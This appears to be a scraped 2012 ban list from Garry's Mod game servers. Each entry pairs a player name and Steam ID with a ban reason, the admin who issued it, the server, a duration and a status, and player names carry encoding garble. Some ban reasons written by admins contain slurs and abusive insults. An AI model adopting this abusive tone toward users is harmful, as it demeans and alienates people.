Private Idaho STEAM_0:0:5111663 glitching +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:55 pm 08-04-12 Unknown STEAM_0:0:47420120 TKing asshole MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 69:10:40 +Unbanned +6:51 pm 08-04-12 The Beast STEAM_0:1:21155950 Goodbye. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:51 pm 08-04-12 purek_dickhead STEAM_0:1:14939351 Spellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:20:40 Unbanned +10:32 am 08-04-12 Ñ?øâ?? нναâ?? STEAM_0:0:45794152 Alt of banned +ID STEAM_0:1:33939254 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 1:9:51 Unbanned +7:54 am 08-04-12 Meltiac ^.- STEAM_0:0:29997496 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +7:47 am 08-04-12 [Echo] Kunzayn STEAM_0:0:19369191 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:11 pm 07-04-12 Evg3n1y STEAM_0:0:47553337 Killing fellow +traitors +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:12:30 Unbanned +8:23 pm 07-04-12 [TGS] (: EPIX - MANIAC!!! :) STEAM_0:1:33939254 +Deleting Base +[SP]+ Marked One [SK] Official Zombified World|Lvl +Cap +10 Zombified World 2:0:0 Unbanned +4:11 pm 07-04-12 Maâ?? Infernoâ?¢ STEAM_0:0:25821673 Get the fuck out +of here Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +3:55 pm 07-04-12 alexpuricelli STEAM_0:1:48992997 stfu stop rejoin to +remove gag +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:5 Unbanned +3:49 pm 07-04-12 Unknown STEAM_0:1:19292346 Most likely _intentional_ +traitor teamkill, ignoring admin, disconnecting. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:30 pm 07-04-12 I Rape Waffles STEAM_0:1:26448145 Idiot +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +8:43 pm 06-04-12 Unknown STEAM_0:0:10482593 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +4:12 pm 06-04-12 Unknown STEAM_0:1:13371261 Proppushing and leaving ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 0:16:40 Unbanned +1:18 am 05-04-12 Jolly Good Chap STEAM_0:0:6790630 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 Unbanned +12:50 am 05-04-12 Marcus's Question STEAM_0:0:23383514 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +12:45 am 05-04-12 â?¦â?¦â?? Ë?¨Ë?â??°ºâ?¢ LULL +STEAM_0:0:19408225 RDM +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +11:09 pm 04-04-12 [LP]Señor Hitler NEIN! STEAM_0:1:37836792 troll +Wigbig Killa's Zombie Survival Server Zombie Survival 0:10:0 Unbanned +6:52 pm 04-04-12 black majak STEAM_0:0:39961491 Troll +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +6:52 pm 04-04-12 Duckter STEAM_0:1:14596568 Troll +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +5:51 pm 04-04-12 Ellioto STEAM_0:0:44260338 Teamkilling traitor ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Puzzle 2:0:0 Unbanned +3:19 pm 04-04-12 =HP= EFG fluffy bunn...lemur STEAM_0:0:18351818 Yea +yea, bans bans Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:00 pm 04-04-12 Asuwbaqnbs STEAM_0:0:33702351 Faction exploiting and +be generally retarded. Llixo Official Zombified World|Lvl Cap +10 +Zombified World 3:11:20 Unbanned +12:31 pm 04-04-12 Unknown STEAM_0:0:10731724 MASS rdm, karma full of +shit and then left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 68:14:0 Unbanned +12:21 pm 04-04-12 Unknown STEAM_0:1:31370258 karma, rdm, tryed to +advoid karma loss and tryed to advoied slay oh and you left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:20 pm 04-04-12 Unknown STEAM_0:0:32709046 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:14 am 04-04-12 Unknown STEAM_0:0:17190605 saw that MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +10:05 pm 03-04-12 Unknown STEAM_0:1:47373450 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:52 pm 03-04-12 deine mutter# STEAM_0:0:28833133 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:23 pm 03-04-12 Unknown STEAM_0:0:20649509 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:48 pm 03-04-12 Leonard STEAM_0:0:47240027 Bye Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:34 pm 03-04-12 [STG] Lambent Cookie STEAM_0:1:47724049 then go here +and report it http : +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Deathrun 0:0:10 Unbanned +3:46 pm 03-04-12 KILLER(rus) STEAM_0:0:44807986 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +2:45 pm 03-04-12 max13madify STEAM_0:0:45615489 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:09 pm 02-04-12 cosmic whale man STEAM_0:0:27509855 Not welcome +here Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:58 pm 02-04-12 (777th) Rook's STEAM_0:0:29253421 Cheating +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 02-04-12 Unknown STEAM_0:1:28550945 Rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:5:20 Unbanned +8:14 pm 02-04-12 Phygar STEAM_0:0:17546475 RDM Room claiming. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:04 pm 02-04-12 Raptor Jesus|A| [$] STEAM_0:0:32716219 RDM and +random KOS Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 10:0:0 Unbanned +2:50 am 02-04-12 Azzerrrr STEAM_0:1:44706585 asshole penis brain MAD +MANN Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +1:00 am 02-04-12 TOUCH MY TALALA STEAM_0:1:26448145 asshole MAD +MANN Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +10:47 pm 01-04-12 Unknown STEAM_0:0:35418753 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:35 pm 01-04-12 Unknown STEAM_0:1:26634120 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:45 pm 01-04-12 murg7 STEAM_0:0:48411298 Destroying props Llixo +Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +8:24 pm 01-04-12 Doc P STEAM_0:0:10132273 nice DNA MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:20 pm 01-04-12 bccn STEAM_0:1:37594258 take the cock out of your +ass MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:12 pm 01-04-12 left4dead007marat STEAM_0:0:46815984 MASS TEAMKILL ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +4:11 pm 01-04-12 ¶--h4xx0r--§ STEAM_0:1:36728992 MASS RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:08 pm 01-04-12 al_chelmodeev STEAM_0:1:16804959 killing a player +without a legit reason +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:0 Unbanned +3:31 pm 01-04-12 Ultiamtus STEAM_0:0:34785696 Underwater Baseing ++[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified World +2:18:40 Unbanned +2:27 pm 01-04-12 Unknown STEAM_0:1:37894238 Asshole,Disrespecting +Admin/Players +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 4:20:40 Unbanned +2:50 am 01-04-12 sindretorvund STEAM_0:0:50485303 your taste of music +is shit like the quality Cinder Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:12 am 01-04-12 Unknown STEAM_0:1:43355655 RDM AND LEAVING F U +JoE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +11:47 pm 31-03-12 RedFoo STEAM_0:1:13983941 Mass RDM with +elevator Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +10:0:0 Unbanned +10:47 pm 31-03-12 ;__; STEAM_0:1:26630341 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:23 pm 31-03-12 à¹?Û£Û? Ä?Å?Ä?Ä?Î? STEAM_0:0:2336176 Change your +name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +9:22 pm 31-03-12 çũмÆ?ΪÐ?Ð?ŦÐ? STEAM_0:0:37988194 Change your +name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +7:36 pm 31-03-12 +[SP]+ Apoc STEAM_0:1:5212754 Basing off world on a +few occasions Console Official Zombified World|Lvl Cap +10 Zombified +World 0:0:0 Unbanned +6:37 pm 31-03-12 Unknown STEAM_0:0:41668933 exploiting, base deletion +and moving base to kill others Chris Brown Official Zombified +World|Lvl Cap +10 Zombified World 13:21:20 Unbanned +6:34 pm 31-03-12 EHOT STEAM_0:0:24831248 Moved base on an admin +Chris Brown Official Zombified World|Lvl Cap +10 Zombified World +13:21:20 Unbanned +6:18 pm 31-03-12 Arran123 STEAM_0:1:8597827 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:08 pm 31-03-12 VinceD STEAM_0:0:48314940 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:57 pm 31-03-12 Doc P STEAM_0:0:10132273 rdm all day? fuck off then +asshole +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:39 pm 31-03-12 Jallu STEAM_0:0:20163757 stop +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +1:00 pm 31-03-12 Unknown STEAM_0:1:26142529 rdm then left + mic spam ++ troll + reported in + karm +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 34:17:20 Unbanned +12:59 pm 31-03-12 Unknown STEAM_0:1:26219141 rdm then left +mic spam ++ troll + reorted in +karma +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 34:17:20 Unbanned +12:57 pm 31-03-12 Unknown STEAM_0:0:36548609 +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +12:55 pm 31-03-12 Unknown STEAM_0:0:36548609 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:01 am 31-03-12 ben STEAM_0:0:43915288 karma was way too low and +tryed to get it up again by rejoining +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +10:53 am 31-03-12 Forsaken STEAM_0:0:21704689 prop pushing and +killing +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:0 Unbanned +12:39 am 31-03-12 Vajai STEAM_0:1:29512933 RDM, ignoring. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +11:36 pm 30-03-12 PIGWARRIOR STEAM_0:1:21120221 Mass RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +10:17 pm 30-03-12 Unknown STEAM_0:1:26881598 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +8:51 pm 30-03-12 BrickWiggles STEAM_0:0:34856761 I warned you, now +you are banned Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +1:37 pm 30-03-12 Unknown STEAM_0:0:36143279 mass rdm karma spam troll +cock reported in! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Puzzle +55:13:20 Unbanned +1:19 am 30-03-12 Idkrickey STEAM_0:1:49609025 speedhack Wigbig +Killa's Zombie Survival Server Zombie Survival 694:10:39 Banned +12:23 am 30-03-12 JayHawk STEAM_0:1:25591473 Alt of banned ID +STEAM_0:1:40131982 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +8:54 pm 29-03-12 Nate River STEAM_0:1:31628128 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:08 pm 29-03-12 Fire STEAM_0:0:19368954 you were told not to plant +C4 on pipes +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +5:16 pm 29-03-12 Unknown STEAM_0:0:12529314 Base Deletion +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +3:3:0 Unbanned +7:45 pm 28-03-12 Elly.poos STEAM_0:1:47248552 baby poo Boss MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +6:23 pm 28-03-12 Unknown STEAM_0:0:32148856 Cheat: pb (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:21 pm 28-03-12 Unknown STEAM_0:1:31668419 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:21 pm 28-03-12 Unknown STEAM_0:0:30709335 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:20 pm 28-03-12 Unknown STEAM_0:0:43372066 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:18 pm 28-03-12 Unknown STEAM_0:1:40265724 Cheat: Code Injection +(Overwritten sqllite) (Console) Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +6:17 pm 28-03-12 Unknown STEAM_0:1:38725115 Cheat: Code Injection +(Overwritten sqllite) (Console) Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +6:17 pm 28-03-12 Unknown STEAM_0:1:35738339 Cheat: +gbot,eradicate,gbot3 (Console) Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +6:16 pm 28-03-12 Unknown STEAM_0:0:43680205 Cheat: gbot (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:50032155 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:20409589 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:29374611 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:38654884 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:45159127 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:26052782 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:28545861 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:34051928 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:27014861 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:34483728 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:43940964 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:47444339 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:37991340 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:43891704 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:30499160 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:40131982 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:39036191 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:50012443 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:31955945 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:30569150 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:37950845 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:39157486 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:38704795 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:37984975 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:33575136 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +5:53 pm 28-03-12 hobo Bob STEAM_0:1:5081310 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:11:40 Unbanned +5:08 pm 28-03-12 Unknown STEAM_0:0:29788551 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:16:40 Unbanned +9:00 pm 27-03-12 hunter91 STEAM_0:0:46955490 fag MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +4:18 pm 27-03-12 piha STEAM_0:0:41668933 Propkilling, stealing weps ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 3:3:0 Unbanned +8:17 pm 26-03-12 karl.teigen STEAM_0:1:26415857 fag MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:02 pm 26-03-12 LuLz. war_crazy STEAM_0:0:34555272 fuck off MAD +MANN Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +7:00 pm 26-03-12 Unknown STEAM_0:1:29412872 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:58 pm 26-03-12 СÐ?ШÐ?Ð? STEAM_0:1:31088207 useing the same name, +shit name, always rdming, karma, not the first time +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +6:56 pm 26-03-12 Ð?Ñ?жок--Ð?иÑ?ожок STEAM_0:1:20011029 shit +name, always rdming, useing the same names and karma not the first +time +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +5:47 pm 26-03-12 guy martin STEAM_0:0:42642787 Alt of banned ID +STEAM_0:0:35205289 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +5:44 pm 26-03-12 Acekiler STEAM_0:1:5995435 rdming and karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:31 pm 26-03-12 <> STEAM_0:0:15558410 team killing, rdm, karma and +time wasting cock! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 4:20:40 Unbanned +7:30 pm 25-03-12 PUDDI PUDDI STEAM_0:0:21251506 Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 13:21:20 Unbanned +6:18 pm 25-03-12 Camper STEAM_0:0:30697563 killing for guns +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:11 pm 25-03-12 admiral hackbarr STEAM_0:1:29850323 <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:8:20 Unbanned +4:08 pm 25-03-12 Gros_russe STEAM_0:0:42193429 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:8:20 Unbanned +4:03 pm 25-03-12 Buxo STEAM_0:1:47108703 rdm <[FoT]> .ExEcute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +3:57 am 25-03-12 Unknown STEAM_0:0:24255629 extended because you +showed me how much the people who were reporting were right +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Zombie Onslaught 6:22:40 Unbanned +3:21 am 25-03-12 Unknown STEAM_0:0:24255629 reposts and is an +asshole Drake Fretta|Tigergruppe Kommand Prop Hunt 2:18:40 Unbanned +3:19 am 25-03-12 Unknown STEAM_0:1:29205246 rdm then left as the D +Drake Fretta|Tigergruppe Kommand Prop Hunt 2:0:0 Unbanned +3:18 am 25-03-12 Gluzz STEAM_0:1:27454569 Alt of banned ID +STEAM_0:1:38081674 (Console) Fretta|Tigergruppe Kommand Prop Hunt +2:18:39 Unbanned +3:17 am 25-03-12 Paxx'rn STEAM_0:1:38081674 mass rdm Drake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +10:14 pm 24-03-12 Annoying Orange STEAM_0:1:27991309 base out of +map MAD MANN Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +9:51 pm 24-03-12 EvilBoy STEAM_0:0:14248869 Alt of banned ID +STEAM_0:1:29826193 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +8:31 pm 24-03-12 I am Noob :3 STEAM_0:0:46227338 rdming as the D and +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +7:38 pm 24-03-12 BeQuick STEAM_0:0:29130894 Alt of banned ID +STEAM_0:0:50054929 (Console) Fretta|Tigergruppe Kommand Deathrun +1:23:32 Unbanned +7:32 pm 24-03-12 D4r10 STEAM_0:0:24645008 RDM constantly. Fuck off. +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +7:10 pm 24-03-12 williamhilding2 STEAM_0:0:50054929 RDM x2 Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +2:48 pm 24-03-12 Unknown STEAM_0:0:41228426 rdm,micspam,karma and +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 20:20:0 Unbanned +1:07 pm 24-03-12 Kaboom STEAM_0:1:34334767 rdming team +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:48 am 24-03-12 {Bronies}Derpy Hooves STEAM_0:1:32539907 RDM ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:2:0 Unbanned +12:47 am 24-03-12 {Bronies} Spit fire STEAM_0:1:23470816 RDM +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +11:29 pm 23-03-12 Unknown STEAM_0:0:41695981 rdming as the D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +10:34 pm 23-03-12 Vanlorg STEAM_0:0:36548609 Constant RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 Unbanned +9:36 pm 23-03-12 /±ESG±\ Deathwing [FA] STEAM_0:0:39163751 The +rules don't apply to me, because it's funny!! (Console) Official +Zombified World|Lvl Cap +10 Zombified World 0:0:0 Unbanned +6:48 pm 23-03-12 Vanlorg STEAM_0:0:36548609 Detective rdm +Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:0 Unbanned +1:07 am 23-03-12 JuGgErNaUgHt STEAM_0:0:15972675 fuck off asswipe +MANN Fretta|Tigergruppe Kommand Puzzle 2:2:0 Unbanned +10:38 pm 22-03-12 Jynx {MLK} STEAM_0:1:47614066 Racism and Ban +Request. Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:0:0 Unbanned +7:39 pm 22-03-12 hrdwarhax STEAM_0:1:31577842 rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:59 pm 22-03-12 {Brony} Derks STEAM_0:0:10714286 rdm for a gun...see +you in 60 min ' s +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:1:0 Unbanned +5:27 pm 22-03-12 Unknown STEAM_0:0:45715426 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:30 pm 22-03-12 Col ping ping ==)= -- STEAM_0:1:7274576 your karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +3:09 pm 22-03-12 Unknown STEAM_0:1:32830571 RDM Detective. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +12:44 am 22-03-12 Unknown STEAM_0:0:46099673 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +8:58 pm 21-03-12 -GS- Vshiva â?­ STEAM_0:1:15571894 -GS- Vshiva â?­: +il be disturbng until il get banned Chump Official Zombified World|Lvl +Cap +10 Zombified World Permanent Banned +4:36 pm 21-03-12 {Pk} SaiBhoeBTLeo STEAM_0:1:34685737 prop killing ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:23 pm 21-03-12 Unknown STEAM_0:0:35757412 mass rdm and left after +being warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +11:46 pm 20-03-12 Epic STEAM_0:0:4856909 Prop Pushing +[SP]+ Anime +Official Zombified World|Lvl Cap +10 Zombified World 0:10:0 Unbanned +9:46 pm 20-03-12 Cammyd53 STEAM_0:1:39399082 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +5:41 pm 20-03-12 Unknown STEAM_0:1:32211657 rdm then left also you +are a cunt : ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +9:11 pm 19-03-12 Naruto Generations STEAM_0:0:39438770 annoying other +people doing the puzzles +[SP]+ JoE CrAcKeR Fretta|Tigergruppe +Kommand Puzzle 0:0:30 Unbanned +8:11 pm 19-03-12 -{AbG}-Facepalm[â??][LF] STEAM_0:1:32830571 your +karma has been shit all day +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:16:40 Unbanned +6:47 pm 19-03-12 Unknown STEAM_0:0:23596787 Prop Killing Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +6:13 pm 19-03-12 DinoDors STEAM_0:1:24734830 Dickwad Aion +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +5:15 pm 19-03-12 Unknown STEAM_0:1:19687609 rdming fellow T ' s and +karma oh and karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 6:22:40 Unbanned +5:02 pm 19-03-12 Unknown 